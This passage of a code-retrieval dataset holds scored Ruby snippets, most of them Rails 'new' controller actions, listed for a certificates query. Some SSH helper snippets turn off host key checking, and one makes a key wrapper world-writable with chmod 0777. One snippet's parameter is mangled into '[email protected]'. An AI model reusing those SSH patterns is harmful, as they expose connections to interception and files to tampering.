"score": "0.5427625",
"text": "def channel\n @channel ||= Communication::SSH.new(self)\n end",
"title": ""
},
{
"docid": "d8c71228ecc7d42f34108841cb1ab769",
"score": "0.54275423",
"text": "def jump_connection\n connection(use_cache: false)\n end",
"title": ""
},
{
"docid": "fe4bd17db3820f78da7de2664976fbe8",
"score": "0.5420468",
"text": "def run_ssh\n Net::SSH.start(host, \"root\", key_data: user.private_key_as_text, keys_only: true) do |ssh|\n yield ssh\n end\n end",
"title": ""
},
{
"docid": "f903de367cb8493355bfb0879464177f",
"score": "0.5418236",
"text": "def ssh_cmd(destination_host, cmd)\n if strict_host_checking\n [\n 'ssh', '-t',\n '-p', OodCore::Job::Adapters::Helper.ssh_port,\n '-o', 'BatchMode=yes',\n \"#{username}@#{destination_host}\"\n ].concat(cmd)\n else\n [\n 'ssh', '-t',\n '-p', OodCore::Job::Adapters::Helper.ssh_port,\n '-o', 'BatchMode=yes',\n '-o', 'UserKnownHostsFile=/dev/null',\n '-o', 'StrictHostKeyChecking=no',\n \"#{username}@#{destination_host}\"\n ].concat(cmd)\n end\n end",
"title": ""
},
{
"docid": "da46f29b5946181bfb58ac5c7b942756",
"score": "0.5406581",
"text": "def connect\n puts \"ssh: connecting...\"\n begin\n @ssh = Net::SSH.start(@config[:host], @config[:user], :port => @config[:port], :password => @config[:password])\n rescue Net::SSH::AuthenticationFailed\n raise CredentialsError, 'Invalid SSH user or password'\n end\n puts \"ssh: connected.\"\n end",
"title": ""
},
{
"docid": "9c70bad08d46f93505334dc6f54baccf",
"score": "0.5402931",
"text": "def ssh_settings\n hosts_file = File.join(Dir.tmpdir, \"tomo_#{SecureRandom.hex(8)}_hosts\")\n {\n ssh_extra_opts: [\n \"-o\",\n \"UserKnownHostsFile=#{hosts_file}\",\n \"-o\",\n \"IdentityFile=#{private_key_path}\"\n ],\n ssh_strict_host_key_checking: false\n }\n end",
"title": ""
},
{
"docid": "b57a9aea01d7ed664d15c8b7e1a0611a",
"score": "0.53954595",
"text": "def execute(command: nil, channeled: false)\n ssh_key_maintainer.create_key_for_connection\n run_ssh(command, channeled)\n ensure\n ssh_key_maintainer.delete_ssh_key_for_connection\n end",
"title": ""
},
{
"docid": "7002af8b8d9bb3c841f1f5ad85ea1f2c",
"score": "0.539205",
"text": "def open_ssh([email protected])\n command = ssh_cli_string(id)\n exec(command)\n end",
"title": ""
},
{
"docid": "967a93b553f4a3f195f628e032592571",
"score": "0.5386477",
"text": "def set_ssh_keys!\n key = SSHKey.generate\n self.ssh_private_key = key.private_key\n self.ssh_public_key = key.ssh_public_key\n\n self.ssh_fingerprint = case self.provider\n when \"digital_ocean\"\n do_key = DigitalOcean.key.create(name: self.id.to_s, public_key: self.ssh_public_key).ssh_key\n do_key.fingerprint if do_key\n end\n sleep(10)\n end",
"title": ""
},
{
"docid": "4010ce8f0dd2630cbaf22a07911e6f62",
"score": "0.5384954",
"text": "def command_send(command)\n\t\traise \"Configuration not loaded or no VM is running\" if (!@ssh) or (!@ip)\n\t\tssh = `ssh -oStrictHostKeyChecking=no -i #{@ssh[\"key\"]} -t #{@ssh[\"username\"]}@#{@ip} \"#{command}\" #{@debug ? \"\" : \"2>/dev/null\"}`\n\t\treturn ssh\n\tend",
"title": ""
},
{
"docid": "555578489b173d0dcb5a64ea9748c21c",
"score": "0.5384332",
"text": "def connection\n if @cache.blank?\n begin\n @cache = Memcache.new(CONFIG[:server])\n rescue\n Rails.logger.warn \"Memcache Error: memcached servers are not available\"\n raise MemcacheNotAvailable, \"Memcache Error: memcached servers are not available\"\n end\n if @cache.servers.empty?\n Rails.logger.warn \"Memcache Error: memcached servers are not available\"\n raise MemcacheNotAvailable, \"Memcache Error: memcached servers are not available\" if @cache.servers.empty?\n end\n @cache.servers.each do |s|\n if s.socket.blank?\n Rails.logger.error \"Memcache Error: memcached socket has no connection on #{s.instance_variable_get(:@host)}\"\n raise MemcacheNotAvailable, \"Memcache Error: memcached socket has no connection on #{s.instance_variable_get(:@host)}\"\n end\n end\n end\n @cache\n end",
"title": ""
},
{
"docid": "911afc61d647694cf4c12eb5ba48a55f",
"score": "0.5377449",
"text": "def ssh_key_credentials(url = nil)\n logger.error(\"Must use ssh-agent, please run ssh-agent zsh, then ssh-add to load your ssh key\")\n unless File.readable?(global_private_key)\n raise Exception.new(\"Unable to use SSH key auth for %{url}: private key %{private_key} is missing or unreadable\" % {url: url.inspect, private_key: global_private_key.inspect} )\n end\n Rugged::Credentials::SshKey.new(:username => git_username,\n :privatekey => global_private_key,\n :publickey => global_public_key,\n :passphrase => prompt_for_password)\n end",
"title": ""
},
{
"docid": "fcd0707d31bf6f5d8e9f48c1c33ebcf5",
"score": "0.537732",
"text": "def to_s\n \"ssh -o ClearAllForwardings=yes '#{@host}' #{@command}\"\n end",
"title": ""
},
{
"docid": "9e4c344338e68d6886e5fe4a8871227e",
"score": "0.537673",
"text": "def configure_ssh(ssh_config)\n require 'fog/core'\n\n if key_data\n ssh_config[:key_data] = key_data\n ssh_config[:keys] = nil\n elsif keys\n ssh_config[:key_data] = nil\n ssh_config[:keys] = keys\n end\n\n base_options = { verify_host_key: true, port: port }\n\n ssh_options = base_options.\n merge(forward_agent: !!forward_agent).\n merge(ssh_config).\n delete_if { |_, v| v.nil? || (v.respond_to?(:empty?) && v.empty?) }\n\n scp_options = base_options.\n merge(ssh_config).\n delete_if { |_, v| v.nil? || (v.respond_to?(:empty?) && v.empty?) }\n\n @ssh = Fog::SSH.new(address, user, ssh_options)\n @scp = Fog::SCP.new(address, user, scp_options)\n end",
"title": ""
},
{
"docid": "fb13f7b9d65378935407d38dc19a3736",
"score": "0.5374806",
"text": "def create_ssh_wrapper(ssh_key, host_key)\n create_keyfile(ssh_key)\n\n # add record to /known_hosts file and enable StrictHostKeyChecking\n # if host_key input is set\n if check_host_key.to_s.empty?\n strict_check = \"no\"\n else\n strict_check = \"yes\"\n add_host_key(host_key)\n end\n\n Chef::Log.info(\" Creating GIT_SSH environment variable with options: StrictHostKeyChecking=#{strict_check}\")\n ::File.open(SSH_WRAPPER, \"w\") do |sshfile|\n sshfile << \"exec ssh -o StrictHostKeyChecking=#{strict_check} -i #{SSH_KEYFILE} \\\"$@\\\"\"\n sshfile.chmod(0777)\n end\n\n ENV[\"GIT_SSH\"] = SSH_WRAPPER\n end",
"title": ""
},
{
"docid": "f2ca395a888d47a4ca3d10d44fd02da9",
"score": "0.5373878",
"text": "def ssh_keys\n @ssh_keys ||= rest_client.sshkeys\n end",
"title": ""
}
] |
6e732a1ac3f5f0706a1f9f88a2f126f5
|
GET /certificates/new GET /certificates/new.xml
|
[
{
"docid": "fe5ab902f034224b3650c3c05896e405",
"score": "0.72705346",
"text": "def new\n @certificate = Certificate.new\n @person = Person.find(params[:person_id])\n @url = admin_person_certificates_url(@person)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @certificate }\n end\n end",
"title": ""
}
] |
[
{
"docid": "ed37a384d12e8f6f85db7a33dca6bc61",
"score": "0.7189103",
"text": "def new\n @certificate = Certificate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @certificate }\n end\n end",
"title": ""
},
{
"docid": "e3d113b5a3661f0ad2326bfbc36884b6",
"score": "0.68854505",
"text": "def new\n\t\t@certificate = Certificate.new\n\t\t@issuer_certificates = Certificate.where(\"is_ca\")\n\t\t@issuer_certificates.prepend(Certificate.new(:id => 0, :name => \"None\"))\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @certificate }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "8a061e5d3c9bcdfee4339c161b2b0ad8",
"score": "0.68552625",
"text": "def new\n @certificate = Certificate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @certificate }\n end\n end",
"title": ""
},
{
"docid": "8a061e5d3c9bcdfee4339c161b2b0ad8",
"score": "0.68552625",
"text": "def new\n @certificate = Certificate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @certificate }\n end\n end",
"title": ""
},
{
"docid": "8805fe66052b74f17ffaf90d7d265012",
"score": "0.67252004",
"text": "def new\n @certification = Certification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @certification }\n end\n end",
"title": ""
},
{
"docid": "0453b0550e9bba2f111c2d01e03f2fd1",
"score": "0.65767926",
"text": "def new\n @concert = Concert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @concert }\n end\n end",
"title": ""
},
{
"docid": "0453b0550e9bba2f111c2d01e03f2fd1",
"score": "0.65767926",
"text": "def new\n @concert = Concert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @concert }\n end\n end",
"title": ""
},
{
"docid": "2a2db5329c45b8c5ec31e1f13dd84934",
"score": "0.65397716",
"text": "def new\n @concert = Concert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @concert }\n end\n end",
"title": ""
},
{
"docid": "d181a8c33e0b870fac558d6b061ab759",
"score": "0.65334016",
"text": "def new\n\t\t@concert = Concert.new\n\t\trender(\"new\")\n\tend",
"title": ""
},
{
"docid": "00f9251ba8e79768d004c8910f443097",
"score": "0.64948493",
"text": "def new\n @concert = Concert.new\n\trespond_with @concert\n end",
"title": ""
},
{
"docid": "0c864090ea6b70d2fff6ef51011e2e5f",
"score": "0.6446998",
"text": "def new\n @consignee = Consignee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @consignee }\n end\n end",
"title": ""
},
{
"docid": "2ff39f900f56fe2bb484b30567483783",
"score": "0.6306649",
"text": "def new\n @certification_level = CertificationLevel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @certification_level }\n end\n end",
"title": ""
},
{
"docid": "65adb6b136c8fcad811b75220c16e7ba",
"score": "0.63018185",
"text": "def new\n @en_certify = EnCertify.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @en_certify }\n end\n end",
"title": ""
},
{
"docid": "73d8498fb17582bf97d91b51f452c187",
"score": "0.62200034",
"text": "def new\n @consortium = Consortium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @consortium }\n end\n end",
"title": ""
},
{
"docid": "73d8498fb17582bf97d91b51f452c187",
"score": "0.62200034",
"text": "def new\n @consortium = Consortium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @consortium }\n end\n end",
"title": ""
},
{
"docid": "b5bae3c9961e7915a001f959158a2b1c",
"score": "0.61437833",
"text": "def new\n @counter = Counter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @counter }\n end\n end",
"title": ""
},
{
"docid": "6ea1eed1ad061793306122964d805c9c",
"score": "0.61366016",
"text": "def new\n @pcr = Pcr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pcr }\n end\n end",
"title": ""
},
{
"docid": "20cb103b733546eabc56ba8047a255ef",
"score": "0.61332893",
"text": "def new\n @goconcert = Goconcert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goconcert }\n end\n end",
"title": ""
},
{
"docid": "2615b0fa01e524018f5a04b022616154",
"score": "0.612796",
"text": "def new\n @pcr = Pcr.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pcr }\n end\n end",
"title": ""
},
{
"docid": "de4bad2a5c2f3f2196e23de4f5fb0e61",
"score": "0.6125887",
"text": "def new\n @requests_complaints_request = RequestsComplaints::Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @requests_complaints_request }\n end\n end",
"title": ""
},
{
"docid": "140c0f8a2a26964d5f8e2b30860f0c01",
"score": "0.61015826",
"text": "def new\n @concerto = Concerto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @concerto }\n end\n end",
"title": ""
},
{
"docid": "b4c191741da8f5ecc7fe842f3c8a9982",
"score": "0.6094413",
"text": "def new\n @con = Con.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @con }\n end\n end",
"title": ""
},
{
"docid": "5a55b848245a2a7ef79c19389eeb88dd",
"score": "0.6082529",
"text": "def new\n @catalogs_resource = Catalogs::Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalogs_resource }\n end\n end",
"title": ""
},
{
"docid": "c8670cd48144c3ee4154c3e553e647b5",
"score": "0.6073928",
"text": "def create\n if current_user.certificates.count < current_user.cert_limit\n name = current_user.username + Time.now.to_i.to_s\n # @certificate = Certificate.new()\n @certificate = current_user.certificates.build(:title => name)\n number=File.open(\"/etc/openvpn/easy-rsa/keys/serial\", \"r\").readline.chomp\n ENV['KEY_CN']=name\n Dir.chdir \"/etc/openvpn/easy-rsa/\"\n system \"sh /etc/openvpn/easy-rsa/build-key \" + name\n @certificate.number=number\n @certificate.link_key=\"/etc/openvpn/easy-rsa/keys/\" + name + \".key\"\n @certificate.link_crt=\"/etc/openvpn/easy-rsa/keys/\" + name + \".crt\"\n respond_to do |format|\n if @certificate.save\n format.html { redirect_to(@certificate, :notice => t('.cert_was_created') ) }\n format.xml { render :xml => @certificate, :status => :created, :location => @certificate }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @certificate.errors, :status => :unprocessable_entity }\n end\n end\n else\n redirect_to(certificates_url, :notice => t('.cert_was_not_created') )\n end\n end",
"title": ""
},
{
"docid": "e48e4303b220e1b998f50591bc37491a",
"score": "0.60653484",
"text": "def new\n @policy_change = PolicyChange.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @policy_change }\n end\n end",
"title": ""
},
{
"docid": "4feb5ddad42924632fafc3c1dd37b3ea",
"score": "0.60598814",
"text": "def create\n @certificate = Certificate.new(params[:certificate])\n\n respond_to do |format|\n if @certificate.save\n format.html { redirect_to([:admin,@certificate], :notice => 'Certificate was saved!') }\n format.xml { render :xml => @certificate, :status => :created, :location => @certificate }\n else\n format.html do\n @person = Person.find(params[:certificate][:person_id])\n render :action => \"new\"\n end\n format.xml { render :xml => @certificate.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c44085ac63e24f65a73bc0c5d35484f8",
"score": "0.6054028",
"text": "def new\n @lookup_ref = LookupRef.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_ref }\n end\n end",
"title": ""
},
{
"docid": "c44085ac63e24f65a73bc0c5d35484f8",
"score": "0.6054028",
"text": "def new\n @lookup_ref = LookupRef.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_ref }\n end\n end",
"title": ""
},
{
"docid": "ef07bda8ae7424b24f2566a8cdafeacb",
"score": "0.60415083",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @course }\n end\n end",
"title": ""
},
{
"docid": "de7b611abe02c75cca90de772324c43f",
"score": "0.60397255",
"text": "def new\n @lookup = Lookup.new\n\n @new_key = \" \"\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup }\n end\n end",
"title": ""
},
{
"docid": "6e1310ec1a4ef9bcd6204cb9634124fd",
"score": "0.6037577",
"text": "def new\n @consignor = Consignor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @consignor }\n end\n end",
"title": ""
},
{
"docid": "d59d214ef2cb7e922f225e634ffa9f0e",
"score": "0.60354745",
"text": "def new\n @prac = Prac.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prac }\n end\n end",
"title": ""
},
{
"docid": "6fa248091666cda841d4ddb82ea18273",
"score": "0.6024024",
"text": "def new\n @candidates_certification = CandidatesCertification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @candidates_certification }\n end\n end",
"title": ""
},
{
"docid": "571ae8bec656e39857cb90064e2c4192",
"score": "0.6016215",
"text": "def new\n @catalogue = Catalogue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalogue }\n end\n end",
"title": ""
},
{
"docid": "c32fce3bc44c030dbfc0309696e95ad3",
"score": "0.59944075",
"text": "def new\n @pcourse = Pcourse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pcourse }\n end\n end",
"title": ""
},
{
"docid": "61d3e99f0859ad2ec3a34c7074196bbc",
"score": "0.59934384",
"text": "def new\n @court = Court.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @court }\n end\n end",
"title": ""
},
{
"docid": "fb383c4f477d9ae95e18f0755a1cc529",
"score": "0.59832954",
"text": "def new\n @concurso = Concurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @concurso }\n end\n end",
"title": ""
},
{
"docid": "b51c3763752dad8d12ecea751493e3dc",
"score": "0.59665537",
"text": "def new\n @redirect_url = RedirectUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @redirect_url }\n end\n end",
"title": ""
},
{
"docid": "b48e84b8c168b357311160164f6ff548",
"score": "0.59660155",
"text": "def new\n @policy = Policy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @policy }\n end\n end",
"title": ""
},
{
"docid": "b48e84b8c168b357311160164f6ff548",
"score": "0.59660155",
"text": "def new\n @policy = Policy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @policy }\n end\n end",
"title": ""
},
{
"docid": "4ba578a15067ec276d31e63f98fb81d9",
"score": "0.5959289",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course }\n end\n end",
"title": ""
},
{
"docid": "4ba578a15067ec276d31e63f98fb81d9",
"score": "0.5959289",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course }\n end\n end",
"title": ""
},
{
"docid": "4ba578a15067ec276d31e63f98fb81d9",
"score": "0.5959289",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course }\n end\n end",
"title": ""
},
{
"docid": "4ba578a15067ec276d31e63f98fb81d9",
"score": "0.5959289",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course }\n end\n end",
"title": ""
},
{
"docid": "4ba578a15067ec276d31e63f98fb81d9",
"score": "0.5959289",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course }\n end\n end",
"title": ""
},
{
"docid": "4ba578a15067ec276d31e63f98fb81d9",
"score": "0.5959289",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course }\n end\n end",
"title": ""
},
{
"docid": "4ba578a15067ec276d31e63f98fb81d9",
"score": "0.5959289",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course }\n end\n end",
"title": ""
},
{
"docid": "4ba578a15067ec276d31e63f98fb81d9",
"score": "0.5959289",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course }\n end\n end",
"title": ""
},
{
"docid": "4ba578a15067ec276d31e63f98fb81d9",
"score": "0.5959289",
"text": "def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @course }\n end\n end",
"title": ""
},
{
"docid": "028563a48123b7646bc8ba729c719ef1",
"score": "0.59579176",
"text": "def new\n @pay = Pay.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pay }\n end\n end",
"title": ""
},
{
"docid": "028563a48123b7646bc8ba729c719ef1",
"score": "0.5957061",
"text": "def new\n @pay = Pay.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pay }\n end\n end",
"title": ""
},
{
"docid": "906e251699c340ce3a9c545c9fd58f34",
"score": "0.59465706",
"text": "def new\n @certification_fee_one = CertificationFeeOne.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @certification_fee_one }\n end\n end",
"title": ""
},
{
"docid": "e284720809fd9693be4160c34e056810",
"score": "0.5943462",
"text": "def new\n @lookup_set = LookupSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end",
"title": ""
},
{
"docid": "7c4ff1c7135233ef4e22f8c20016008f",
"score": "0.5941932",
"text": "def create\n @certificate = Certificate.new(params[:certificate])\n\n respond_to do |format|\n if @certificate.save\n format.html { redirect_to @certificate, notice: 'Certificate was successfully created.' }\n format.json { render json: @certificate, status: :created, location: @certificate }\n else\n format.html { render action: \"new\" }\n format.json { render json: @certificate.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7c4ff1c7135233ef4e22f8c20016008f",
"score": "0.5941932",
"text": "def create\n @certificate = Certificate.new(params[:certificate])\n\n respond_to do |format|\n if @certificate.save\n format.html { redirect_to @certificate, notice: 'Certificate was successfully created.' }\n format.json { render json: @certificate, status: :created, location: @certificate }\n else\n format.html { render action: \"new\" }\n format.json { render json: @certificate.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0186de454da1bbacc0c0e11f5e4361ac",
"score": "0.5941879",
"text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"title": ""
},
{
"docid": "0186de454da1bbacc0c0e11f5e4361ac",
"score": "0.5941879",
"text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"title": ""
},
{
"docid": "0186de454da1bbacc0c0e11f5e4361ac",
"score": "0.5941879",
"text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"title": ""
},
{
"docid": "0186de454da1bbacc0c0e11f5e4361ac",
"score": "0.5941879",
"text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"title": ""
},
{
"docid": "0186de454da1bbacc0c0e11f5e4361ac",
"score": "0.5941879",
"text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"title": ""
},
{
"docid": "e93d3a549481b808962a226f47282dbd",
"score": "0.5933665",
"text": "def new\n @chain = Chain.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chain }\n end\n end",
"title": ""
},
{
"docid": "d9e1688b036106af71ab2f6735602e82",
"score": "0.5930936",
"text": "def new\n @payee = Payee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @payee }\n end\n end",
"title": ""
},
{
"docid": "86d7e5001304b2ec899dc066855630ce",
"score": "0.59241444",
"text": "def new\n @collection = Collection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @collection }\n end\n end",
"title": ""
},
{
"docid": "86d7e5001304b2ec899dc066855630ce",
"score": "0.59241444",
"text": "def new\n @collection = Collection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @collection }\n end\n end",
"title": ""
},
{
"docid": "86d7e5001304b2ec899dc066855630ce",
"score": "0.59241444",
"text": "def new\n @collection = Collection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @collection }\n end\n end",
"title": ""
},
{
"docid": "18a7bfe42853f2ee292398aa06b8e60c",
"score": "0.59170496",
"text": "def create\n # byebug\n @certificate = Certificate.new(certificate_params)\n\n respond_to do |format|\n if @certificate.save\n format.html { redirect_to @certificate, notice: 'Certificate was successfully created.' }\n format.json { render :show, status: :created, location: @certificate }\n else\n format.html { render :new }\n format.json { render json: @certificate.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5cb21041e85dff8799d7b82d63810626",
"score": "0.5916592",
"text": "def create\n @certificate = Certificate.new(certificate_params)\n\n respond_to do |format|\n if @certificate.save\n format.html { redirect_to certificates_path, notice: '证书创建成功' }\n format.json { render action: 'index', status: :created, location: @certificate }\n else\n format.html { render action: 'new' }\n format.json { render json: @certificate.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3c954b3c1dbcc29988dabc24b0888707",
"score": "0.5916299",
"text": "def new\n @key_pair = current_account.key_pairs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @key_pair }\n end\n end",
"title": ""
},
{
"docid": "cf47c0d3d1613058da7382fd880f65a7",
"score": "0.5900336",
"text": "def acme_newcertificate(url, csr, csrname, rsa)\n newcert = {\n 'resource' => 'new-cert',\n 'csr' => base64url(csr.to_der)\n }\n\n # send request \n res,result = http_post(url, newcert, rsa)\n case res\n when Net::HTTPCreated\n # 201 Created, get certificate download URL from Location header\n crturl = res['Location']\n print \"New certificate request succeeded.\\n\"\n print \"Download your certificate from #{crturl}\\n\\n\" \n\n begin\n # save download URL\n open(\"#{csrname}.url\", 'w') do |f|\n f.puts(crturl)\n end\n rescue => e\n p e\n end\n return crturl\n else\n p result\n abort \"ACME certificate issuance request failed with #{res.code}\"\n end\nend",
"title": ""
},
{
"docid": "edcc7d1e657f00bde445806cf266b2d9",
"score": "0.589881",
"text": "def create\n load_filter_params\n\t\n @certificate = Certificate.new(certificate_params)\n\n respond_to do |format|\n if @certificate.save\n\t\tformat.html { redirect_to certificates_path(:page => @page, q: {:number_eq => @number_eq, :responsible_enginner_cont => @responsible_enginner_cont, :company_name_cont => @company_name_cont, :description_cont => @description_cont, :kind_of_service_id_eq => @kind_of_service_id_eq, :verified_eq => @verified_eq}), notice: 'Certificação cadastrada com sucesso!' }\n\t\t\n format.json { render :show, status: :created, location: @certificate }\n else\n format.html { render :new }\n format.json { render json: @certificate.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "68ef63b87561eaf47af4b1377b403cba",
"score": "0.5896648",
"text": "def new\n @peer = Peer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @peer }\n end\n end",
"title": ""
},
{
"docid": "493d22db00c4f44a98d2122d63006749",
"score": "0.5894218",
"text": "def create\r\n @certificate = Certificate.new(certificate_params)\r\n\r\n respond_to do |format|\r\n if @certificate.save\r\n format.html { redirect_to new_certificate_path, notice: 'Certificate was successfully saved.' }\r\n format.json { render :show, status: :created, location: @certificate }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @certificate.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "c2676493e0fbfda9539098812debb8f7",
"score": "0.5892462",
"text": "def new\n @profile = Emailaccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @profile }\n end\n end",
"title": ""
},
{
"docid": "41433d74e36719684775ad2d50c3eabe",
"score": "0.58879405",
"text": "def new\n @new = New.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @new }\n end\n end",
"title": ""
},
{
"docid": "c0b04c2caa079aca6a688862e248e7b2",
"score": "0.58833635",
"text": "def new\n @emails_person = EmailsPerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @emails_person }\n end\n end",
"title": ""
},
{
"docid": "e0082b64705d22806e6553e93e7f35a2",
"score": "0.5881017",
"text": "def new\n @circule = Circule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @circule }\n end\n end",
"title": ""
},
{
"docid": "2675f618551d1934e30c7591a4be641e",
"score": "0.58741045",
"text": "def new\n @sign = Sign.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sign }\n end\n end",
"title": ""
},
{
"docid": "5900558602902b0d56670301e2c4628d",
"score": "0.5867993",
"text": "def new\n @credito = Credito.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @credito }\n end\n end",
"title": ""
},
{
"docid": "c52520d1bc58c1f23a76367f679c1bbc",
"score": "0.58646405",
"text": "def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @client }\n end\n end",
"title": ""
},
{
"docid": "267feb89e2b7f02b2dece0ce64ee1770",
"score": "0.5863957",
"text": "def new\r\n @course = Course.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @course }\r\n end\r\n end",
"title": ""
},
{
"docid": "e1bc9a5c7d5dc36da2fd873d88e65d1f",
"score": "0.58625627",
"text": "def new\n\tputs \"new\"\n @resource = Resource.new\n\n respond_to do |format|\n format.json { render json: @resource }\n#\t format.html { render html: @resources }\n end\n end",
"title": ""
},
{
"docid": "f86152984e2fef5a531d8481f6718ed5",
"score": "0.5862299",
"text": "def new\n @paycond = Paycond.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @paycond }\n end\n end",
"title": ""
},
{
"docid": "11bb6be187ec57e7dfe2c2e56c146eae",
"score": "0.58559215",
"text": "def new\n @identity = Identity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @identity }\n end\n end",
"title": ""
},
{
"docid": "344693d274d0e936d47fbb2fe2b95006",
"score": "0.5848748",
"text": "def new\n @enclave = Enclave.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @enclave }\n end\n end",
"title": ""
},
{
"docid": "de1c71e59a3f088646e3a4a238fe003f",
"score": "0.58455366",
"text": "def new\n @lab = @course.labs.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @lab }\n end\n end",
"title": ""
},
{
"docid": "e19f6da75da86e53be940ab940fd2d89",
"score": "0.5845373",
